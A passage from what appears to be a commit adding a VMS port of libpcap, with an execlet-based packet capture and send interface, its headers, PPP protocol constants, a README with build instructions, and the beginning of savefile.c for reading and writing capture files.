arglist[3] = totlen;
arglist[4] = (uint64) packet;
status = sys$cmkrnl_64(pcapvcm->send_packet, arglist);
// Unlock packet
status2 = sys$ulwset_64(retaddr, retlen, 0, &retaddr, &retlen);
return status;
}
//
// Get last transmit error
//
int pcapvci_get_trasmit_error(VCMCTX *ctx)
{
int status;
uint64 arglist[2];
arglist[0] = 2;
arglist[1] = (uint64) ctx;
status = sys$cmkrnl_64(pcapvcm->get_last_error, arglist);
return status;
}
//
// Get statistics from execlet
//
int pcapvci_get_statistics(VCMCTX *vcmctx, PCAPSTAT *statptr)
{
int status;
int status2;
uint64 arglist[3];
int64 retlen;
void *retaddr;
status = sys$lkwset_64(statptr, sizeof(PCAPSTAT), 0, &retaddr, &retlen);
if (!$VMS_STATUS_SUCCESS(status)) {
return status;
}
arglist[0] = 2;
arglist[1] = (uint64) vcmctx;
arglist[2] = (uint64) statptr;
status = sys$cmkrnl_64(pcapvcm->get_statistics, arglist);
status2 = sys$ulwset_64(retaddr, retlen, 0, &retaddr, &retlen);
return status;
}
//
// Set the size of the receive queue
//
int pcapvci_set_recv_queue_size(int entries)
{
int status;
if (entries >= PCAPVCM$K_RECV_MIN_QUEUE_SIZE &&
entries <= PCAPVCM$K_RECV_MAX_QUEUE_SIZE) {
pcapvcm->recv_queue_size = entries;
return SS$_NORMAL;
} else {
return SS$_BADPARAM;
}
}
//
// Get receive queue size
//
int pcapvci_get_recv_queue_size(void)
{
return pcapvcm->recv_queue_size;
}
//
// Load the execlet and get the execlet context block
//
int load_execlet ()
{
int status;
LKP *symvec; /* Pointer to symbol vector */
int (*getContext)(PCAPVCM **);
/* Try referencing execlet first, in case it is already loaded */
status = LDR$REF_INFO (&execlet_name, &reference_handle);
/* If error, must not be loaded yet */
if (status != SS$_NORMAL)
{
/* Load execlet */
status = LDR$LOAD_IMAGE (&execlet_name, LDR$M_UNL, &reference_handle);
}
if ($VMS_STATUS_SUCCESS(status)) {
// Indicate that we've loaded the execlet
is_loaded = 1;
// Get the shared context. We built the execlet so that the address
// of the routine that does this is at home base...
rtnptr = *(void **)reference_handle.ldrimg_ptr->ldrimg$l_nonpag_w_base;
if (rtnptr) {
getContext = (int (*)())rtnptr;
status = (*getContext)(&pcapvcm);
}
}
return(status);
}
//
// Unload the execlet
//
int unload_execlet ()
{
int status;
if (is_loaded) {
status = LDR$REF_INFO (&execlet_name, &reference_handle);
if ($VMS_STATUS_SUCCESS(status)) {
status = LDR$UNLOAD_IMAGE(&execlet_name, &reference_handle);
}
is_loaded = 0;
} else {
status = SS$_ACCVIO;
}
return status;
}

View File

@@ -0,0 +1,37 @@
#ifndef _PCAPVCI__H_
#define _PCAPVCI__H_
#include "pcapvcm.h"
typedef struct _ldr_handle
{
void *base_addr;
LDRIMG *ldrimg_ptr;
int seq_num;
} LDRHANDLE;
typedef struct _vcmhandle {
PCAPVCM *pcapvcm;
LDRHANDLE refhand;
} VCMHANDLE;
// VCI interface routines
int pcapvci_load_execlet();
//int pcapvci_unload_execlet();
int pcapvci_alloc_port(VCMCTX **ctx);
int pcapvci_free_port(VCMCTX *ctx);
int pcapvci_get_device(VCMCTX *ctx, char *device);
int pcapvci_create_port(VCMCTX *ctx, char *device);
int pcapvci_delete_port(VCMCTX *ctx);
int pcapvci_enable_port(VCMCTX *ctx, int p2len, char *p2buf);
int pcapvci_disable_port(VCMCTX *ctx);
int pcapvci_get_mgm_error(VCMCTX *ctx, uint64 *error);
int pcapvci_read_packet(VCMCTX *ctx, int packlen, char *packet);
int pcapvci_send_packet(VCMCTX *ctx, int hdrlen, int totlen, char *packet);
int pcapvci_get_trasmit_error(VCMCTX *ctx);
int pcapvci_get_statistics(VCMCTX *vcmctx, PCAPSTAT *statptr);
int pcapvci_set_recv_queue_size(int entries);
int pcapvci_get_recv_queue_size(void);
#endif /* _PCAPVCI__H_ */

218
Pcap-VMS/pcap-vci/pcapvcm.h Normal file
View File

@@ -0,0 +1,218 @@
//***************************************************************************
//* *
//* © Copyright 2003 Hewlett-Packard Development Company, L.P. *
//* *
//* Confidential computer software. Valid license from HP and/or *
//* its subsidiaries required for possession, use, or copying. *
//* *
//* Consistent with FAR 12.211 and 12.212, Commercial Computer Software, *
//* Computer Software Documentation, and Technical Data for Commercial *
//* Items are licensed to the U.S. Government under vendor's standard *
//* commercial license. *
//* *
//* Neither HP nor any of its subsidiaries shall be liable for technical *
//* or editorial errors or omissions contained herein. The information *
//* in this document is provided "as is" without warranty of any kind and *
//* is subject to change without notice. The warranties for HP products *
//* are set forth in the express limited warranty statements accompanying *
//* such products. Nothing herein should be construed as constituting an *
//* additional warranty. *
//* *
//***************************************************************************
//
//
// FACILITY:
//
// Dynamic Loadable Execlet for PCAP
//
//
// ABSTRACT:
//
// This module implements a VCM for the LAN driver
//
//
// AUTHOR:
//
// Ankan
//
// CREATION DATE: 21-Mar-2003
//
// DESIGN ISSUES:
//
// {@tbs@}
//
// REVISION HISTORY:
//
// X-1 Ankan Anders Ahgren 21-Mar-2003
// Initial version.
//
#ifndef __PCAPVCM_H_
#define __PCAPVCM_H_
#include <lanudef.h>
#include <ldcdef.h>
#include <vcibdef.h>
#include <vcibdlldef.h>
#include <vcrpdef.h>
#include <vcrplandef.h>
#include <lildef.h>
#include <dyndef.h>
#include <ints.h>
typedef struct vcrpdef VCRPDEF;
typedef struct vcibdef VCIBDEF;
#define PCAPVCM$K_REVISION 1
#define PCAPVCM$K_RECV_QUEUE_SIZE 32
#define PCAPVCM$K_RECV_MIN_QUEUE_SIZE 1
#define PCAPVCM$K_RECV_MAX_QUEUE_SIZE 255
#define PCAPVCM$K_RECV_QUEUE_RETRY 16
// LIL stuff
#define PCAP_LIL_SIZE 512
typedef struct _lil_item {
short len;
short tag;
char val;
} LILITEM;
#define INIT_LIL(lil, len) \
{ \
(lil)->lil$l_listlen = 0; \
(lil)->lil$a_listadr = (char *) (lil) + LIL$T_DATA; \
(lil)->lil$w_size = len + sizeof(LILDEF); \
(lil)->lil$b_type = DYN$C_DECNET; \
(lil)->lil$b_subtype = DYN$C_NET_ITEM; \
}
#define ADD_LIL_ITEM(lil, tag, len, val) \
add_lil_item(lil, len, tag, val);
#define ADD_LIL_ADDR_VAL(lil, len, tag, val) \
add_lil_addr_value(lil, tag, len, val);
// LIL prototypes for the above
void add_lil_item(LILDEF *lil, int len, int tag, char *value);
void add_lil_addr_value(LILDEF *lil, int len, int tag, char *value);
// LAN P2 buffer stuff
#define ADD_INT_VAL(buf, code, val) \
buf = add_int_value(buf, code, val);
#define ADD_CNT_VAL(buf, code, len, val) \
buf = add_counted_value(buf, code, len, val);
// LAN P2 helper prototypes
char *add_int_value(char *buf, short code, int value);
char *add_counted_value(char *buf, short code, short len, char *value);
int find_value(int buflen, char *buf, short code, char *retbuf);
// VCIB helpers
int init_vcib(VCIBDLLDEF *vcib, LILDEF *lil);
// VCRP helpers
int init_mgmt_vcrp(VCRPLANDEF *vcrplan, int func, int p2len, char **p2buf);
int init_transmit_vcrp(VCRPLANDEF *vcrplan);
// Pointer tricks, since we give and take from user mode...
#pragma __required_pointer_size __save
#pragma __required_pointer_size __long
typedef char * CHAR_64P;
typedef void * VOID_64P;
typedef LILDEF * LILDEF_64P;
typedef VCRPDEF * VCRPDEF_64P;
#pragma __required_pointer_size __short
typedef LILDEF * LILDEF_32P;
typedef char * CHAR_32P;
#pragma __required_pointer_size __restore
// Statistics...
typedef struct _pcapstat {
long recv_packets;
long recv_packets_dropped;
long recv_queue_size;
long tr_packets;
long tr_failed;
} PCAPSTAT;
// Shared structure
typedef struct _pcapvcm {
unsigned short int mbo;
unsigned char type;
unsigned char subtype;
int size;
int revision;
int recv_queue_size;
int curr_recv_queue_size;
int retry_count;
int last_mgm_event; // Last management event
int (*get_context)();
int (*unload_execlet)();
int (*get_device)();
int (*alloc_port)();
int (*free_port)();
int (*create_port)();
int (*delete_port)();
int (*enable_port)();
int (*disable_port)();
int (*get_mgm_error)();
int (*get_last_error)();
int (*read_packet)();
int (*send_packet)();
int (*build_header)();
int (*get_statistics)();
} PCAPVCM;
// Our private VCIB definition, we need a context block in there
typedef struct __pcapvcib {
VCIBDLLDEF vcib;
struct _vcmctx *vcmctx;
} PCAPVCIB;
#pragma member_alignment __save
#pragma nomember_alignment __quadword
// Per client context
typedef struct _vcmctx {
PCAPVCIB vcib;
VCRPLANDEF vcrp;
VCRPDEF *transmit_vcrp;
int transmit_vcrp_size;
int recv_queue_size;
uint32 flags;
uint32 transmit_pending;
uint64 size;
uint64 last_error;
struct _ldcdef ldc;
uint32 ldcid;
char devbuf[128];
LILDEF_64P lil;
char lilbuf[sizeof(LILDEF)+PCAP_LIL_SIZE];
char *hdrptr;
char hdr[128];
int p2len;
char *p2ptr;
char p2_buf[128]; // P2 buffer
char vcrpbuf[4096]; // VCRP buffer (for transmit)
PCAPSTAT stat; // Statistics
} VCMCTX;
#pragma member_alignment __restore
//...and more pointer tricks
#pragma __required_pointer_size __save
#pragma __required_pointer_size __long
typedef PCAPVCM * PCAPVCM_64P;
typedef PCAPVCM ** PCAPVCM_64PP;
typedef VCMCTX * VCMCTX_64P;
typedef VCMCTX ** VCMCTX_64PP;
#pragma __required_pointer_size __restore
// VCI jacket routines. These are written in MACRO, due to JSBs
extern int vci_get_device(uint32 *, LDCDEF **);
extern int vci_create_port(VCIBDLLDEF *vcib);
extern int vci_delete_port(VCIBDLLDEF *vcib);
extern int vci_delete_vcrp(VCRPDEF *vcrp);
extern int vci_mgmt_port(VCRPLANDEF *vcrp, VCIBDLLDEF *vcib);
extern int vci_transmit_frame(VCRPLANDEF *vcrp, VCIBDLLDEF *vcib);
extern int vci_build_header(char *header, char **reshdr, int *x802,
int *r802, VCRPLANDEF *vcrp);
#endif /* __PCAPVCM_H_ */

52
Pcap-VMS/pcap-vci/ppp.h Normal file
View File

@@ -0,0 +1,52 @@
/* @(#) $Header: /tcpdump/master/libpcap/ppp.h,v 1.8 1999/10/19 15:18:31 itojun Exp $ (LBL) */
/*
* Point to Point Protocol (PPP) RFC1331
*
* Copyright 1989 by Carnegie Mellon.
*
* Permission to use, copy, modify, and distribute this program for any
* purpose and without fee is hereby granted, provided that this copyright
* and permission notice appear on all copies and supporting documentation,
* the name of Carnegie Mellon not be used in advertising or publicity
* pertaining to distribution of the program without specific prior
* permission, and notice be given in supporting documentation that copying
* and distribution is by permission of Carnegie Mellon and Stanford
* University. Carnegie Mellon makes no representations about the
* suitability of this software for any purpose. It is provided "as is"
* without express or implied warranty.
*/
#define PPP_ADDRESS 0xff /* The address byte value */
#define PPP_CONTROL 0x03 /* The control byte value */
/* Protocol numbers */
#define PPP_IP 0x0021 /* Raw IP */
#define PPP_OSI 0x0023 /* OSI Network Layer */
#define PPP_NS 0x0025 /* Xerox NS IDP */
#define PPP_DECNET 0x0027 /* DECnet Phase IV */
#define PPP_APPLE 0x0029 /* Appletalk */
#define PPP_IPX 0x002b /* Novell IPX */
#define PPP_VJC 0x002d /* Van Jacobson Compressed TCP/IP */
#define PPP_VJNC 0x002f /* Van Jacobson Uncompressed TCP/IP */
#define PPP_BRPDU 0x0031 /* Bridging PDU */
#define PPP_STII 0x0033 /* Stream Protocol (ST-II) */
#define PPP_VINES 0x0035 /* Banyan Vines */
#define PPP_IPV6 0x0057 /* Internet Protocol version 6 */
#define PPP_HELLO 0x0201 /* 802.1d Hello Packets */
#define PPP_LUXCOM 0x0231 /* Luxcom */
#define PPP_SNS 0x0233 /* Sigma Network Systems */
#define PPP_IPCP 0x8021 /* IP Control Protocol */
#define PPP_OSICP 0x8023 /* OSI Network Layer Control Protocol */
#define PPP_NSCP 0x8025 /* Xerox NS IDP Control Protocol */
#define PPP_DECNETCP 0x8027 /* DECnet Control Protocol */
#define PPP_APPLECP 0x8029 /* Appletalk Control Protocol */
#define PPP_IPXCP 0x802b /* Novell IPX Control Protocol */
#define PPP_STIICP 0x8033 /* Strean Protocol Control Protocol */
#define PPP_VINESCP 0x8035 /* Banyan Vines Control Protocol */
#define PPP_IPV6CP 0x8057 /* IPv6 Control Protocol */
#define PPP_LCP 0xc021 /* Link Control Protocol */
#define PPP_PAP 0xc023 /* Password Authentication Protocol */
#define PPP_LQM 0xc025 /* Link Quality Monitoring */
#define PPP_CHAP 0xc223 /* Challenge Handshake Authentication Protocol */

View File

@@ -0,0 +1,37 @@
This is a second port of the pcap library for VMS. It interfaces with
a VMS execlet to capture the packets. This results in better performance
than the $QIO version of the pcap library. This version also includes
a routine to send packets. Many pcap implementations include such a
routine, however it is not part of the pcap standard and as such has no
specified name or calling signature. In this implementation it is
defined as:
int pcap_sendpacket(pcap_t *p, u_char *buf, int size);
where:
p - pcap handle, as returned by pcap_open_live
buf - pointer to the packet to send, including header
size - size of the packet, including header
To build the pcap library, just do a:
$ @VMS_PCAP
This will build PCAP.OLB, to use it do something like:
$ cc/debug/noopt pcaptest/incl=sys$disk:[]/name=(as_is,short)
$ link/debug pcaptest
For information regarding PCAP just check the WWW.
You will notice that there are still some compilation warnings.
For filtering syntax have a look at grammar.y, provided you know yacc
that is.
Let me know if you enhance this package by sending mail to ankan@hp.com

View File

@@ -0,0 +1,701 @@
/*
* Copyright (c) 1993, 1994, 1995, 1996, 1997
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include the above copyright notice and
* this paragraph in its entirety in the documentation or other materials
* provided with the distribution, and (3) all advertising materials mentioning
* features or use of this software display the following acknowledgement:
* ``This product includes software developed by the University of California,
* Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its contributors may be used to endorse
* or promote products derived from this software without specific prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*
* savefile.c - supports offline use of tcpdump
* Extraction/creation by Jeffrey Mogul, DECWRL
* Modified by Steve McCanne, LBL.
*
* Used to save the received packet headers, after filtering, to
* a file, and then read them later.
* The first record in the file contains saved values for the machine
* dependent values so we can print the dump file on any architecture.
*/
#ifndef lint
static const char rcsid[] =
"@(#) $Header: /tcpdump/master/libpcap/savefile.c,v 1.68 2002/10/18 08:46:15 guy Exp $ (LBL)";
#endif
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#ifdef VMS
#include "pcap-vms.h"
#endif
#include <errno.h>
#include <memory.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "pcap-int.h"
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
#define TCPDUMP_MAGIC 0xa1b2c3d4
#define PATCHED_TCPDUMP_MAGIC 0xa1b2cd34
/*
* We use the "receiver-makes-right" approach to byte order,
* because time is at a premium when we are writing the file.
* In other words, the pcap_file_header and pcap_pkthdr,
* records are written in host byte order.
* Note that the packets are always written in network byte order.
*
* ntoh[ls] aren't sufficient because we might need to swap on a big-endian
* machine (if the file was written in little-end order).
*/
#define SWAPLONG(y) \
((((y)&0xff)<<24) | (((y)&0xff00)<<8) | (((y)&0xff0000)>>8) | (((y)>>24)&0xff))
#define SWAPSHORT(y) \
( (((y)&0xff)<<8) | ((u_short)((y)&0xff00)>>8) )
#define SFERR_TRUNC 1
#define SFERR_BADVERSION 2
#define SFERR_BADF 3
#define SFERR_EOF 4 /* not really an error, just a status */
/*
* We don't write DLT_* values to the capture file header, because
* they're not the same on all platforms.
*
* Unfortunately, the various flavors of BSD have not always used the same
* numerical values for the same data types, and various patches to
* libpcap for non-BSD OSes have added their own DLT_* codes for link
* layer encapsulation types seen on those OSes, and those codes have had,
* in some cases, values that were also used, on other platforms, for other
* link layer encapsulation types.
*
* This means that capture files of a type whose numerical DLT_* code
* means different things on different BSDs, or with different versions
* of libpcap, can't always be read on systems other than those like
* the one running on the machine on which the capture was made.
*
* Instead, we define here a set of LINKTYPE_* codes, and map DLT_* codes
* to LINKTYPE_* codes when writing a savefile header, and map LINKTYPE_*
* codes to DLT_* codes when reading a savefile header.
*
* For those DLT_* codes that have, as far as we know, the same values on
* all platforms (DLT_NULL through DLT_FDDI), we define LINKTYPE_xxx as
* DLT_xxx; that way, captures of those types can still be read by
* versions of libpcap that map LINKTYPE_* values to DLT_* values, and
* captures of those types written by versions of libpcap that map DLT_
* values to LINKTYPE_ values can still be read by older versions
* of libpcap.
*
* The other LINKTYPE_* codes are given values starting at 100, in the
* hopes that no DLT_* code will be given one of those values.
*
* In order to ensure that a given LINKTYPE_* code's value will refer to
* the same encapsulation type on all platforms, you should not allocate
* a new LINKTYPE_* value without consulting "tcpdump-workers@tcpdump.org".
* The tcpdump developers will allocate a value for you, and will not
* subsequently allocate it to anybody else; that value will be added to
* the "pcap.h" in the tcpdump.org CVS repository, so that a future
* libpcap release will include it.
*
* You should, if possible, also contribute patches to libpcap and tcpdump
* to handle the new encapsulation type, so that they can also be checked
* into the tcpdump.org CVS repository and so that they will appear in
* future libpcap and tcpdump releases.
*/
#define LINKTYPE_NULL DLT_NULL
#define LINKTYPE_ETHERNET DLT_EN10MB /* also for 100Mb and up */
#define LINKTYPE_EXP_ETHERNET DLT_EN3MB /* 3Mb experimental Ethernet */
#define LINKTYPE_AX25 DLT_AX25
#define LINKTYPE_PRONET DLT_PRONET
#define LINKTYPE_CHAOS DLT_CHAOS
#define LINKTYPE_TOKEN_RING DLT_IEEE802 /* DLT_IEEE802 is used for Token Ring */
#define LINKTYPE_ARCNET DLT_ARCNET
#define LINKTYPE_SLIP DLT_SLIP
#define LINKTYPE_PPP DLT_PPP
#define LINKTYPE_FDDI DLT_FDDI
/*
* LINKTYPE_PPP is for use when there might, or might not, be an RFC 1662
* PPP in HDLC-like framing header (with 0xff 0x03 before the PPP protocol
* field) at the beginning of the packet.
*
* This is for use when there is always such a header; the address field
* might be 0xff, for regular PPP, or it might be an address field for Cisco
* point-to-point with HDLC framing as per section 4.3.1 of RFC 1547 ("Cisco
* HDLC"). This is, for example, what you get with NetBSD's DLT_PPP_SERIAL.
*
* We give it the same value as NetBSD's DLT_PPP_SERIAL, in the hopes that
* nobody else will choose a DLT_ value of 50, and so that DLT_PPP_SERIAL
* captures will be written out with a link type that NetBSD's tcpdump
* can read.
*/
#define LINKTYPE_PPP_HDLC 50 /* PPP in HDLC-like framing */
#define LINKTYPE_PPP_ETHER 51 /* NetBSD PPP-over-Ethernet */
#define LINKTYPE_ATM_RFC1483 100 /* LLC/SNAP-encapsulated ATM */
#define LINKTYPE_RAW 101 /* raw IP */
#define LINKTYPE_SLIP_BSDOS 102 /* BSD/OS SLIP BPF header */
#define LINKTYPE_PPP_BSDOS 103 /* BSD/OS PPP BPF header */
#define LINKTYPE_C_HDLC 104 /* Cisco HDLC */
#define LINKTYPE_IEEE802_11 105 /* IEEE 802.11 (wireless) */
#define LINKTYPE_ATM_CLIP 106 /* Linux Classical IP over ATM */
#define LINKTYPE_FRELAY 107 /* Frame Relay */
#define LINKTYPE_LOOP 108 /* OpenBSD loopback */
#define LINKTYPE_LINUX_SLL 113 /* Linux cooked socket capture */
#define LINKTYPE_LTALK 114 /* Apple LocalTalk hardware */
#define LINKTYPE_ECONET 115 /* Acorn Econet */
#define LINKTYPE_CISCO_IOS 118 /* For Cisco-internal use */
#define LINKTYPE_PRISM_HEADER 119 /* 802.11+Prism II monitor mode */
#define LINKTYPE_AIRONET_HEADER 120 /* FreeBSD Aironet driver stuff */
#define LINKTYPE_IP_OVER_FC 122 /* RFC 2625 IP-over-Fibre Channel */
#define LINKTYPE_SUNATM 123 /* Solaris+SunATM */
/*
* These types are reserved for future use.
*/
#define LINKTYPE_ENC 109 /* OpenBSD IPSEC enc */
#define LINKTYPE_LANE8023 110 /* ATM LANE + 802.3 */
#define LINKTYPE_HIPPI 111 /* NetBSD HIPPI */
#define LINKTYPE_HDLC 112 /* NetBSD HDLC framing */
#define LINKTYPE_IPFILTER 116 /* IP Filter capture files */
#define LINKTYPE_PFLOG 117 /* OpenBSD DLT_PFLOG */
#define LINKTYPE_HHDLC 121 /* Siemens HiPath HDLC */
#define LINKTYPE_RIO 123 /* RapidIO */
#define LINKTYPE_PCI_EXP 124 /* PCI Express */
#define LINKTYPE_AURORA 125 /* Xilinx Aurora link layer */
static struct linktype_map {
int dlt;
int linktype;
} map[] = {
/*
* These DLT_* codes have LINKTYPE_* codes with values identical
* to the values of the corresponding DLT_* code.
*/
{ DLT_NULL, LINKTYPE_NULL },
{ DLT_EN10MB, LINKTYPE_ETHERNET },
{ DLT_EN3MB, LINKTYPE_EXP_ETHERNET },
{ DLT_AX25, LINKTYPE_AX25 },
{ DLT_PRONET, LINKTYPE_PRONET },
{ DLT_CHAOS, LINKTYPE_CHAOS },
{ DLT_IEEE802, LINKTYPE_TOKEN_RING },
{ DLT_ARCNET, LINKTYPE_ARCNET },
{ DLT_SLIP, LINKTYPE_SLIP },
{ DLT_PPP, LINKTYPE_PPP },
{ DLT_FDDI, LINKTYPE_FDDI },
/*
* These DLT_* codes have different values on different
* platforms; we map them to LINKTYPE_* codes that
* have values that should never be equal to any DLT_*
* code.
*/
#ifdef DLT_FR
/* BSD/OS Frame Relay */
{ DLT_FR, LINKTYPE_FRELAY },
#endif
{ DLT_ATM_RFC1483, LINKTYPE_ATM_RFC1483 },
{ DLT_RAW, LINKTYPE_RAW },
{ DLT_SLIP_BSDOS, LINKTYPE_SLIP_BSDOS },
{ DLT_PPP_BSDOS, LINKTYPE_PPP_BSDOS },
/* BSD/OS Cisco HDLC */
{ DLT_C_HDLC, LINKTYPE_C_HDLC },
/*
* These DLT_* codes are not on all platforms, but, so far,
* there don't appear to be any platforms that define
* other codes with those values; we map them to
* different LINKTYPE_* values anyway, just in case.
*/
/* Linux ATM Classical IP */
{ DLT_ATM_CLIP, LINKTYPE_ATM_CLIP },
/* NetBSD sync/async serial PPP (or Cisco HDLC) */
{ DLT_PPP_SERIAL, LINKTYPE_PPP_HDLC },
/* NetBSD PPP over Ethernet */
{ DLT_PPP_ETHER, LINKTYPE_PPP_ETHER },
/* IEEE 802.11 wireless */
{ DLT_IEEE802_11, LINKTYPE_IEEE802_11 },
/* Frame Relay */
{ DLT_FRELAY, LINKTYPE_FRELAY },
/* OpenBSD loopback */
{ DLT_LOOP, LINKTYPE_LOOP },
/* Linux cooked socket capture */
{ DLT_LINUX_SLL, LINKTYPE_LINUX_SLL },
/* Apple LocalTalk hardware */
{ DLT_LTALK, LINKTYPE_LTALK },
/* Acorn Econet */
{ DLT_ECONET, LINKTYPE_ECONET },
/* For Cisco-internal use */
{ DLT_CISCO_IOS, LINKTYPE_CISCO_IOS },
/* Prism II monitor-mode header plus 802.11 header */
{ DLT_PRISM_HEADER, LINKTYPE_PRISM_HEADER },
/* FreeBSD Aironet driver stuff */
{ DLT_AIRONET_HEADER, LINKTYPE_AIRONET_HEADER },
/* Siemens HiPath HDLC */
{ DLT_HHDLC, LINKTYPE_HHDLC },
/* RFC 2625 IP-over-Fibre Channel */
{ DLT_IP_OVER_FC, LINKTYPE_IP_OVER_FC },
/* Solaris+SunATM */
{ DLT_SUNATM, LINKTYPE_SUNATM },
/* RapidIO */
{ DLT_RIO, LINKTYPE_RIO },
/* PCI Express */
{ DLT_PCI_EXP, LINKTYPE_PCI_EXP },
/* Xilinx Aurora link layer */
{ DLT_AURORA, LINKTYPE_AURORA },
/*
* Any platform that defines additional DLT_* codes should:
*
* request a LINKTYPE_* code and value from tcpdump.org,
* as per the above;
*
* add, in their version of libpcap, an entry to map
* those DLT_* codes to the corresponding LINKTYPE_*
* code;
*
* redefine, in their "net/bpf.h", any DLT_* values
* that collide with the values used by their additional
* DLT_* codes, to remove those collisions (but without
* making them collide with any of the LINKTYPE_*
* values equal to 50 or above; they should also avoid
* defining DLT_* values that collide with those
* LINKTYPE_* values, either).
*/
{ -1, -1 }
};
static int
dlt_to_linktype(int dlt)
{
int i;
for (i = 0; map[i].dlt != -1; i++) {
if (map[i].dlt == dlt)
return (map[i].linktype);
}
/*
* If we don't have a mapping for this DLT_ code, return an
* error; that means that the table above needs to have an
* entry added.
*/
return (-1);
}
static int
linktype_to_dlt(int linktype)
{
int i;
for (i = 0; map[i].linktype != -1; i++) {
if (map[i].linktype == linktype)
return (map[i].dlt);
}
/*
* If we don't have an entry for this link type, return
* the link type value; it may be a DLT_ value from an
* older version of libpcap.
*/
return linktype;
}
static int
sf_write_header(FILE *fp, int linktype, int thiszone, int snaplen)
{
struct pcap_file_header hdr;
hdr.magic = TCPDUMP_MAGIC;
hdr.version_major = PCAP_VERSION_MAJOR;
hdr.version_minor = PCAP_VERSION_MINOR;
hdr.thiszone = thiszone;
hdr.snaplen = snaplen;
hdr.sigfigs = 0;
hdr.linktype = linktype;
if (fwrite((char *)&hdr, sizeof(hdr), 1, fp) != 1)
return (-1);
return (0);
}
static void
swap_hdr(struct pcap_file_header *hp)
{
hp->version_major = SWAPSHORT(hp->version_major);
hp->version_minor = SWAPSHORT(hp->version_minor);
hp->thiszone = SWAPLONG(hp->thiszone);
hp->sigfigs = SWAPLONG(hp->sigfigs);
hp->snaplen = SWAPLONG(hp->snaplen);
hp->linktype = SWAPLONG(hp->linktype);
}
pcap_t *
pcap_open_offline(const char *fname, char *errbuf)
{
register pcap_t *p;
register FILE *fp;
struct pcap_file_header hdr;
bpf_u_int32 magic;
int linklen;
p = (pcap_t *)malloc(sizeof(*p));
if (p == NULL) {
strlcpy(errbuf, "out of swap", PCAP_ERRBUF_SIZE);
return (NULL);
}
memset((char *)p, 0, sizeof(*p));
/*
* Set this field so we don't close stdin in pcap_close!
*/
#ifndef WIN32
p->fd = -1;
#else
p->adapter = NULL;
#endif
if (fname[0] == '-' && fname[1] == '\0')
fp = stdin;
else {
#ifndef WIN32
fp = fopen(fname, "r");
#else
fp = fopen(fname, "rb");
#endif
if (fp == NULL) {
snprintf(errbuf, PCAP_ERRBUF_SIZE, "%s: %s", fname,
pcap_strerror(errno));
goto bad;
}
}
if (fread((char *)&hdr, sizeof(hdr), 1, fp) != 1) {
snprintf(errbuf, PCAP_ERRBUF_SIZE, "fread: %s",
pcap_strerror(errno));
goto bad;
}
magic = hdr.magic;
if (magic != TCPDUMP_MAGIC && magic != PATCHED_TCPDUMP_MAGIC) {
magic = SWAPLONG(magic);
if (magic != TCPDUMP_MAGIC && magic != PATCHED_TCPDUMP_MAGIC) {
snprintf(errbuf, PCAP_ERRBUF_SIZE,
"bad dump file format");
goto bad;
}
p->sf.swapped = 1;
swap_hdr(&hdr);
}
if (magic == PATCHED_TCPDUMP_MAGIC) {
/*
* XXX - the patch that's in some versions of libpcap
* changes the packet header but not the magic number;
* we'd have to use some hacks^H^H^H^H^Hheuristics to
* detect that.
*/
p->sf.hdrsize = sizeof(struct pcap_sf_patched_pkthdr);
} else
p->sf.hdrsize = sizeof(struct pcap_sf_pkthdr);
if (hdr.version_major < PCAP_VERSION_MAJOR) {
snprintf(errbuf, PCAP_ERRBUF_SIZE, "archaic file format");
goto bad;
}
p->tzoff = hdr.thiszone;
p->snapshot = hdr.snaplen;
p->linktype = linktype_to_dlt(hdr.linktype);
p->sf.rfile = fp;
#ifndef WIN32
p->bufsize = hdr.snaplen;
#else
/* Allocate the space for pcap_pkthdr as well. It will be used by pcap_read_ex */
p->bufsize = hdr.snaplen+sizeof(struct pcap_pkthdr);
#endif
/* Align link header as required for proper data alignment */
/* XXX should handle all types */
switch (p->linktype) {
case DLT_EN10MB:
linklen = 14;
break;
case DLT_FDDI:
linklen = 13 + 8; /* fddi_header + llc */
break;
case DLT_NULL:
default:
linklen = 0;
break;
}
if (p->bufsize < 0)
p->bufsize = BPF_MAXBUFSIZE;
p->sf.base = (u_char *)malloc(p->bufsize + BPF_ALIGNMENT);
if (p->sf.base == NULL) {
strlcpy(errbuf, "out of swap", PCAP_ERRBUF_SIZE);
goto bad;
}
p->buffer = p->sf.base + BPF_ALIGNMENT - (linklen % BPF_ALIGNMENT);
p->sf.version_major = hdr.version_major;
p->sf.version_minor = hdr.version_minor;
#ifdef PCAP_FDDIPAD
/* XXX padding only needed for kernel fcode */
pcap_fddipad = 0;
#endif
return (p);
bad:
free(p);
return (NULL);
}
/*
* Read sf_readfile and return the next packet. Return the header in hdr
* and the contents in buf. Return 0 on success, SFERR_EOF if there were
* no more packets, and SFERR_TRUNC if a partial packet was encountered.
*/
#ifdef WIN32
int
#else
static int
#endif
sf_next_packet(pcap_t *p, struct pcap_pkthdr *hdr, u_char *buf, int buflen)
{
struct pcap_sf_patched_pkthdr sf_hdr;
FILE *fp = p->sf.rfile;
/*
* Read the packet header; the structure we use as a buffer
* is the longer structure for files generated by the patched
* libpcap, but if the file has the magic number for an
* unpatched libpcap we only read as many bytes as the regular
* header has.
*/
if (fread(&sf_hdr, p->sf.hdrsize, 1, fp) != 1) {
/* probably an EOF, though could be a truncated packet */
return (1);
}
if (p->sf.swapped) {
/* these were written in opposite byte order */
hdr->caplen = SWAPLONG(sf_hdr.caplen);
hdr->len = SWAPLONG(sf_hdr.len);
hdr->ts.tv_sec = SWAPLONG(sf_hdr.ts.tv_sec);
hdr->ts.tv_usec = SWAPLONG(sf_hdr.ts.tv_usec);
} else {
hdr->caplen = sf_hdr.caplen;
hdr->len = sf_hdr.len;
hdr->ts.tv_sec = sf_hdr.ts.tv_sec;
hdr->ts.tv_usec = sf_hdr.ts.tv_usec;
}
/*
* We interchanged the caplen and len fields at version 2.3,
* in order to match the bpf header layout. But unfortunately
* some files were written with version 2.3 in their headers
* but without the interchanged fields.
*/
if (p->sf.version_minor < 3 ||
